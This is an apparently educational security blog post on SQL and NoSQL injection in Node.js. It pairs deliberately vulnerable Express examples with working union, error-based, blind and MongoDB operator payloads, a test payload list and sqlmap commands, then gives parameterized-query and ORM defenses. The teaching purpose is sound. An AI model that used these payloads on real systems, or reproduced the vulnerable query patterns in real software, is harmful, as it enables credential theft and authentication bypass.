Back to Blog
Web Security

SQL Injection in Node.js: From Basics to Blind

AliceSec Team
3 min read

SQL injection remains the #1 database vulnerability in 2025. While Node.js frameworks like Express make building APIs fast, they don't automatically protect your database queries. OWASP's 2024 API Security Top 10 lists injection attacks as a persistent threat, and Node.js apps are prime targets.

This guide covers SQL injection techniques specific to the Node.js ecosystem—from basic attacks to blind exploitation—and the parameterized query patterns that actually work.

Why Node.js Apps Are Vulnerable

Node.js makes it easy to write vulnerable code. Template literals feel natural:

javascript
// VULNERABLE - Template literal injection
app.get('/users', async (req, res) => {
  const { name } = req.query;
  const result = await db.query(`SELECT * FROM users WHERE name = '${name}'`);
  res.json(result.rows);
});

This pattern appears everywhere—in tutorials, Stack Overflow answers, and production code. It's intuitive, but it's exactly what attackers exploit.

Attack Technique 1: Classic Union-Based Injection

The most straightforward SQL injection extracts data by appending a UNION query:

text
# Normal request
GET /users?name=alice

# Attack payload
GET /users?name=' UNION SELECT username, password, null FROM admin_users--

How It Works

The injected query becomes:

sql
SELECT * FROM users WHERE name = '' UNION SELECT username, password, null FROM admin_users--'

The attacker:

  1. Closes the string with '
  2. Adds a UNION to select from another table
  3. Comments out the rest with --

Node.js Example: Express + PostgreSQL

javascript
// VULNERABLE endpoint
app.get('/api/products', async (req, res) => {
  const { category } = req.query;

  // String concatenation = SQL injection
  const query = "SELECT * FROM products WHERE category = '" + category + "'";
  const result = await pool.query(query);

  res.json(result.rows);
});

// Attack: category=' UNION SELECT table_name, null, null FROM information_schema.tables--
// Returns all table names in the database

Attack Technique 2: Error-Based Injection

When UNION doesn't work (column mismatch, etc.), error messages can leak data:

javascript
// VULNERABLE - Errors exposed to client
app.get('/api/user/:id', async (req, res) => {
  try {
    const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
    const result = await pool.query(query);
    res.json(result.rows[0]);
  } catch (error) {
    // Leaks database error messages!
    res.status(500).json({ error: error.message });
  }
});

PostgreSQL Error Extraction

text
# Force a type conversion error that leaks data
GET /api/user/1 AND 1=CAST((SELECT password FROM users LIMIT 1) AS INT)

# Error message:
# invalid input syntax for type integer: "admin_password_123"

MySQL Error Extraction

text
# extractvalue() technique
GET /api/user/1 AND extractvalue(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))

# Error message contains the password

Attack Technique 3: Blind SQL Injection

When there's no visible output, attackers use conditional responses:

Boolean-Based Blind

javascript
// VULNERABLE - Different response for true/false conditions
app.get('/api/check-user', async (req, res) => {
  const { username } = req.query;
  const query = `SELECT * FROM users WHERE username = '${username}'`;
  const result = await pool.query(query);

  if (result.rows.length > 0) {
    res.json({ exists: true });
  } else {
    res.json({ exists: false });
  }
});

Attack sequence to extract data character by character:

text
# Check if first character of admin password is 'a'
GET /api/check-user?username=' OR (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

# If response is {exists: true}, first char is 'a'
# If response is {exists: false}, try 'b', 'c', etc.

Time-Based Blind

When even boolean responses are hidden:

text
# PostgreSQL - Delay if condition is true
GET /api/user?id=1; SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END--

# MySQL
GET /api/user?id=1 AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a', SLEEP(5), 0)--

If the response takes 5 seconds, the condition is true.

Attack Technique 4: Second-Order Injection

Data is stored safely but used unsafely later:

javascript
// Step 1: Register with malicious username (safely stored)
app.post('/api/register', async (req, res) => {
  const { username, email } = req.body;
  // Uses parameterized query - safe!
  await pool.query(
    'INSERT INTO users (username, email) VALUES ($1, $2)',
    [username, email]
  );
  res.json({ success: true });
});

// Step 2: Later, the username is used unsafely
app.get('/api/user-posts', async (req, res) => {
  // Get current user's username from session
  const result = await pool.query(
    'SELECT username FROM users WHERE id = $1',
    [req.session.userId]
  );
  const username = result.rows[0].username;

  // VULNERABLE - Uses stored data without parameterization
  const posts = await pool.query(
    `SELECT * FROM posts WHERE author = '${username}'`
  );
  res.json(posts.rows);
});

Attack: Register with username ' OR 1=1--, then view posts to see all posts in the system.

Node.js + MongoDB: NoSQL Injection

MongoDB isn't immune. Object injection attacks bypass authentication:

javascript
// VULNERABLE - Object injection
app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;

  // If attacker sends: {"username": {"$gt": ""}, "password": {"$gt": ""}}
  // This matches ANY user with ANY password!
  const user = await db.collection('users').findOne({
    username: username,
    password: password
  });

  if (user) {
    res.json({ success: true, token: generateToken(user) });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

Attack Payload

json
{
  "username": {"$gt": ""},
  "password": {"$gt": ""}
}

The $gt: "" operator matches any non-empty string, bypassing authentication entirely.

Defense: Parameterized Queries

PostgreSQL with node-postgres

javascript
// SAFE - Parameterized query with pg
import { Pool } from 'pg';

const pool = new Pool();

app.get('/api/users', async (req, res) => {
  const { name } = req.query;

  // $1 is a placeholder - value is passed separately
  const result = await pool.query(
    'SELECT * FROM users WHERE name = $1',
    [name]
  );

  res.json(result.rows);
});

// Multiple parameters
app.get('/api/search', async (req, res) => {
  const { name, minAge, maxAge } = req.query;

  const result = await pool.query(
    'SELECT * FROM users WHERE name ILIKE $1 AND age BETWEEN $2 AND $3',
    [`%${name}%`, minAge, maxAge]
  );

  res.json(result.rows);
});

MySQL with mysql2

javascript
// SAFE - Parameterized query with mysql2
import mysql from 'mysql2/promise';

const pool = mysql.createPool({
  host: 'localhost',
  user: 'root',
  database: 'myapp'
});

app.get('/api/products', async (req, res) => {
  const { category, minPrice } = req.query;

  // ? placeholders with array of values
  const [rows] = await pool.execute(
    'SELECT * FROM products WHERE category = ? AND price >= ?',
    [category, minPrice]
  );

  res.json(rows);
});

MongoDB with Proper Validation

javascript
// SAFE - Type validation prevents operator injection
import { z } from 'zod';

const loginSchema = z.object({
  username: z.string().min(1).max(50),
  password: z.string().min(1).max(100)
});

app.post('/api/login', async (req, res) => {
  // Validate and parse - ensures strings, not objects
  const { username, password } = loginSchema.parse(req.body);

  // Now safe - username and password are guaranteed strings
  const user = await db.collection('users').findOne({
    username: username,
    password: hashPassword(password)
  });

  if (user) {
    res.json({ success: true });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

Defense: Query Builders and ORMs

javascript
import { PrismaClient } from '@prisma/client';

const prisma = new PrismaClient();

// Prisma automatically parameterizes all queries
app.get('/api/users', async (req, res) => {
  const { name, email } = req.query;

  const users = await prisma.user.findMany({
    where: {
      name: { contains: name, mode: 'insensitive' },
      email: { endsWith: email }
    }
  });

  res.json(users);
});

Drizzle ORM

javascript
import { drizzle } from 'drizzle-orm/node-postgres';
import { eq, and, gte } from 'drizzle-orm';
import { users } from './schema';

const db = drizzle(pool);

app.get('/api/users', async (req, res) => {
  const { name, minAge } = req.query;

  // Type-safe, parameterized queries
  const result = await db
    .select()
    .from(users)
    .where(and(
      eq(users.name, name),
      gte(users.age, parseInt(minAge))
    ));

  res.json(result);
});

Knex.js

javascript
import knex from 'knex';

const db = knex({ client: 'pg', connection: process.env.DATABASE_URL });

app.get('/api/products', async (req, res) => {
  const { category, search } = req.query;

  // Query builder parameterizes automatically
  const products = await db('products')
    .where('category', category)
    .where('name', 'ilike', `%${search}%`)
    .orderBy('created_at', 'desc');

  res.json(products);
});

Dynamic Queries: The Dangerous Pattern

Sometimes you need dynamic column names or table names. Parameterization doesn't help here:

javascript
// VULNERABLE - Can't parameterize column names
app.get('/api/sort', async (req, res) => {
  const { sortBy } = req.query;

  // This doesn't work: SELECT * FROM users ORDER BY $1
  // $1 would be treated as a string literal, not a column name
  const result = await pool.query(
    `SELECT * FROM users ORDER BY ${sortBy}`  // VULNERABLE!
  );

  res.json(result.rows);
});

Safe Pattern: Allowlisting

javascript
const ALLOWED_SORT_COLUMNS = ['name', 'email', 'created_at', 'updated_at'];
const ALLOWED_DIRECTIONS = ['ASC', 'DESC'];

app.get('/api/users', async (req, res) => {
  const { sortBy = 'created_at', order = 'DESC' } = req.query;

  // Validate against allowlist
  if (!ALLOWED_SORT_COLUMNS.includes(sortBy)) {
    return res.status(400).json({ error: 'Invalid sort column' });
  }
  if (!ALLOWED_DIRECTIONS.includes(order.toUpperCase())) {
    return res.status(400).json({ error: 'Invalid sort direction' });
  }

  // Safe to use - value is from controlled allowlist
  const result = await pool.query(
    `SELECT * FROM users ORDER BY ${sortBy} ${order.toUpperCase()}`
  );

  res.json(result.rows);
});

Testing Your Node.js App

Manual Testing Payloads

text
# Basic injection test
' OR '1'='1
' OR 1=1--
" OR ""="

# Union-based
' UNION SELECT null--
' UNION SELECT null, null--
' UNION SELECT null, null, null--

# Error-based (PostgreSQL)
' AND 1=CAST((SELECT version()) AS INT)--

# Time-based
'; SELECT pg_sleep(5)--
' AND (SELECT SLEEP(5))--

# Comment variations
'--
'#
'/*

Automated Testing with sqlmap

bash
# Test a GET parameter
sqlmap -u "http://localhost:3000/api/users?name=test" --dbs

# Test a POST parameter
sqlmap -u "http://localhost:3000/api/login" --data="username=admin&password=test" --dbs

# Test with JSON body
sqlmap -u "http://localhost:3000/api/search" --data='{"query":"test"}' --headers="Content-Type: application/json"

SQL Injection Prevention Checklist

Query Construction

  • [ ] Use parameterized queries for ALL user input
  • [ ] Use an ORM (Prisma, Drizzle) when possible
  • [ ] Allowlist dynamic column/table names
  • [ ] Never concatenate user input into queries

Input Validation

  • [ ] Validate input types with Zod or similar
  • [ ] Enforce maximum input lengths
  • [ ] Reject unexpected object types (MongoDB)

Error Handling

  • [ ] Never expose database errors to clients
  • [ ] Log errors server-side for debugging
  • [ ] Return generic error messages

Database Configuration

  • [ ] Use least-privilege database accounts
  • [ ] Disable unnecessary database features
  • [ ] Keep database drivers updated

Testing

  • [ ] Include SQL injection tests in CI/CD
  • [ ] Run sqlmap against staging environments
  • [ ] Review all raw SQL queries in code reviews

Practice SQL Injection

Understanding SQL injection from the attacker's perspective helps you write better defenses. Try our SQL injection challenges to practice these techniques in a safe environment.

---

SQL injection techniques evolve with database features. This guide will be updated as new attack patterns emerge. Last updated: December 2025.

Stay ahead of vulnerabilities

Weekly security insights, new challenges, and practical tips. No spam.

Unsubscribe anytime. No spam, ever.